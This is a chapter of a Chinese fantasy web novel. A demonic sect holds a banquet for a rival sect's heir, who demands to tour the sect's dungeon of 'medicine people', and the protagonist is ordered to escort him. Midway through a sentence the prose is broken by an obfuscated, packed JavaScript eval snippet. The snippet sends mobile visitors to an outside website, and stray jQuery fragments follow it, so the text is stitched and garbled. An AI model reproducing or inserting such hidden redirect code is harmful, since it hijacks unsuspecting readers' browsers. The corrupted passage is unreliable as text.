接连三日,薄灯宗风平浪静,云霓镇那场惊心动魄的变故,仿佛只是一颗投入深潭的石子,漾开几圈涟漪后,便彻底沉入水底,再无声息。
林一白待在寝殿内,除了偶尔应付一下出关后的苏红,大部分时间,她都在凝神尝试沟通那截沉寂的“无生根”,试图将之唤醒。
当然,从未成功过。
其他的时候,她只是枯坐,思绪在未来的死局中反复冲撞,试图撬开一丝微光的缝隙。
然而,这短暂的平静在第四日被骤然打破。
奎洲望江楼少主到访。
消息传来时,林一白正对着窗外的流云发呆。“望江楼”三字像一道冷电劈入脑海,相关的原著信息瞬间翻涌而上——这个原本与“望海楼”分庭抗礼的奎洲巨擘,在望海楼那位与林无涯有旧的老宗主坐化后,竟以雷霆手段吞并了对方,如今风头无两,已是奎洲乃至周边洲域势力最盛的魔宗。与之相比,困守云洲西北、受天谴所限的薄灯宗,显得那般势微力弱。
此番前来,名义上是为观礼即将开启的云山秘境,实则狼子野心,昭然若揭——不过是想凭强权,硬生生从薄灯宗嘴边,撕下一块肥肉。
派来的这位少主,名唤“厉绝”,年纪轻轻已有金丹巅峰修为,恰好卡在云山秘境“元婴之下方可入内”的限制门槛上,其野心昭然若揭。
势比人强,林无涯纵有万般不甘,也只能强压所有情绪,大开宗门,设下盛宴,亲自相迎。
是夜,琉璃塔主殿。
殿内一改往日的幽深诡谲,竟是难得一见的灯火辉煌。
无数盏镶嵌着夜明珠与鲛人烛的琉璃灯盏摆满宴场两侧,柔和却明亮的光辉驱散了常年缭绕的阴霾,将偌大殿堂的每一个角落都照得亮如白昼。黑玉铺就的地面光可鉴人,倒映着上方流光溢彩的灯影。
空气也不再是以往的沉闷味道,而是被一种极其奢靡的香气所取代——那是西域进贡的“龙涎迷迭香”,据说一寸香木便价值连城,散发出的紫色香雾不仅能宁心静气,更能助长魔修体内戾气的活性,于修行颇有裨益。
丝竹管弦之声并非仙门常见的清越雅乐,而是带着某种奇异的、撩人心魄的节拍。乐师们身着玄色羽衣,指尖拨动琴弦,发出的乐声靡靡沉沉,时而如怨鬼低泣,时而如天魔狞笑,勾得人心中潜藏的欲望蠢蠢欲动。
身着轻纱、身段婀娜的魔宗侍女们如同穿花蝴蝶,步履轻盈地端着一道道珍馐美馔流水般呈上。玉盘之中,盛放的皆是寻常修士一生难见的稀罕物,此刻却如同寻常菜式般堆叠案头。
——此番设宴,林无涯委实是给足了望江楼面子。
林一白身着繁复华丽的礼服,坐在林无涯下首,几乎被淹没在这片极致的奢华与喧嚣里。她目光低垂,盯着面前玉杯中那殷红如血、散发着醇厚灵气的美酒,指尖无意识地摩挲着微凉的杯壁,犹自出着神。
与她这般的“安静”形成鲜明对比的,是此次宴会的主角——奎洲望江楼少主,厉绝。
厉绝一身暗紫绣金魔纹长袍,懒洋洋地斜靠在客席首位上。他面容阴柔俊美,肤色是久不见日光的苍白,一双微微上挑的凤眼中,瞳孔竟呈现出一种诡异的、仿佛流动着的熔金之色,看人时总带着三分审视、七分倨傲。
他并未如何动筷,只是漫不经心地把玩着一支墨玉酒盏,任由身后侍立的貌美魔婢将剔好的灵果肉喂入他口中。
面对林无涯这位一宗之主,他言语间并无多少敬意,反而时常发出几声意味不明的轻笑,偶尔点评菜肴或乐舞,语气也带着居高临下的随意,仿佛他才是此地主人。
“林宗主这薄灯宗,同我奎洲相较,倒是别有一番风情。”厉绝抿了一口酒,熔金色的瞳孔扫过殿内陈设,最终落在林无涯脸上,唇角勾着笑,“比起我望江楼的水阁连天,倒是更显……质朴刚健。”
这话看似褒扬,实则暗含讥讽,暗示薄灯宗不如望江楼奢华雅致。
林无涯端坐于黑玉宝座之上,玄色暗纹长袍在灯光下流转着幽光。他面上始终覆着一层无懈可击的温和笑意,仿佛丝毫未听出对方话中的刺。
“厉少主过誉了。奎洲人杰地灵,望江楼更是雄踞一方,底蕴深厚,我薄灯宗僻处西北荒隅,不过是因循守旧罢了,岂敢与贵派相比。”他声音平稳,举杯示意,“少主远道而来,一路辛苦,请满饮此杯。”
他应对得体,言辞谦逊,但坐在下首的林一白却能敏锐地捕捉到——在他举杯的瞬间,那宽大衣袖的遮掩下,他另一只放在扶手上的手,指节狠握得发白。而他眼底最深处的暗红色泽,在那氤氲的紫色香雾中,似乎流转得比平日更快了些,如同冰封火山下汹涌的熔岩,随时可能喷薄而出。
宴席就在这般看似热烈,实则暗流涌动、彼此试探的诡异气氛中进行着。直至酒过三巡,厉绝似乎终于失去了耐心,将手中把玩许久的墨玉酒杯往案上轻轻一搁,发出“叮”的一声脆响。
殿内的乐声似乎也随之低了一瞬。
他斜睨着林无涯,熔金色的瞳孔中闪烁着毫不掩饰的贪婪:“盛宴佳肴,美人歌舞,确实令人尽兴。不过,本少主此番前来,除却云山观礼外,倒还有一不情之请,想要拜托林宗主。”
林无涯握盏的手一停,尔后缓缓道:“哦?不知厉少主所求何事?”
厉绝闻声顿了顿,声音拖长,带着一种猫捉老鼠般的戏谑:“听闻贵宗丹术独步天下,尤以那药人之术冠绝云洲,能培育出最佳的试药‘苗种’......家父临行前特地嘱咐,定要让本少主好好观摩一番,开开眼界。不知林宗主,可否行这个方便?”
话音落下,殿内的气氛仿佛骤然凝固了一瞬。
林一白心中那根弦猛地绷紧,暗道:“来了!”
药人之秘,乃是薄灯宗的立宗之本,引得无数魔宗垂涎,也是此时望江楼此番前来的另一个目的。若是别的魔宗,只怕一提出这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290412|182663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个要求,便会被林无涯扫地出门;然今时不同往日,吞并望海楼后如日中天的望江楼,绝非此刻的薄灯宗所能开罪。
观厉绝那胜券在握的神情,分明吃定了林无涯不敢拒绝。
可他却不知,这看似寻常的“观摩”,正是他日后踏上黄泉路的开端!
——只因他在参观途中,得罪了晏不见!
她下意识地看向林无涯。
只见林无涯脸上的笑容似乎僵硬了万分之一秒,随即又化开,只是那笑意并未抵达眼底,反而让周遭的空气更冷了几分。
他沉默了片刻,最终,缓缓开口,声音比之前低沉了一丝,带着某种被强行压抑下去的僵硬:“厉少主对我宗微末小技有兴趣,是我宗的荣幸。”
他的目光倏地一转,如同冰冷的探针,精准地钉在了一旁正好整以暇看戏的林一白身上。
“一白。”他的声音不容置疑,“你便代为父,领厉少主去地牢参观一下吧。”
“……务必让少主尽兴。”
最后几个字,他说得缓慢而清晰,每一个字都像冰珠砸在林一白的心上。
林一白脸上的表情瞬间僵住,指尖猛地一颤,险些碰翻了面前的玉杯。
——什么?让她去?!
原著里带这个瘟神去地牢的明明是一个普通长老弟子,怎么这次偏偏点名要她去?
这平白无故的差事,不仅棘手,更可能横生枝节,她躲都来不及!
然而,在她心底最隐秘之地,比其觉得“麻烦”更汹涌、更尖锐的,是一种近乎恐慌的抗拒。
——她绝不能去地牢!
尤其是……不能以这种“带领参观”的上位者姿态,去往那个囚禁着晏不见的地方。
想到这里,她脑海中不受控制地浮现出了两人那最后一面。
系统逼着她,亲手将刚刚在生死边缘建立起的一丝微弱信任彻底碾碎,甚至推着他坠入了更深的深渊。
她还有什么面目去见他?
难道要她领着这个嚣张的望江楼少主,像观赏笼中困兽一样,走到他的牢笼前,任由厉绝用轻蔑的目光打量、评判、出言侮辱他?
这简直比系统惩罚更让她感到煎熬。
她几乎是下意识地就要开口拒绝,嘴唇微张,一个“不”字几乎要冲口而出,可当目光触及林无涯那看似平静、实则暗含无尽压迫的眼神时,所有的话顿时卡在了喉咙里。
她瞬间清醒过来——此刻的林无涯,绝不是一个可以违逆的对象。
如今自己正想不通,既然此次任务没有失败,系统又要如何“遵循原著”,使林无涯送她进魔山——会不会如今剧情崩坏,她也可以不入魔山,那既定的死亡轨迹,也能因此而改写?
而此时外敌虎视眈眈,任何拂逆都可能成为林无涯日后发作的借口。
她必须杜绝这一可能。
“……是,父亲。”她垂下眼睫,低声应下。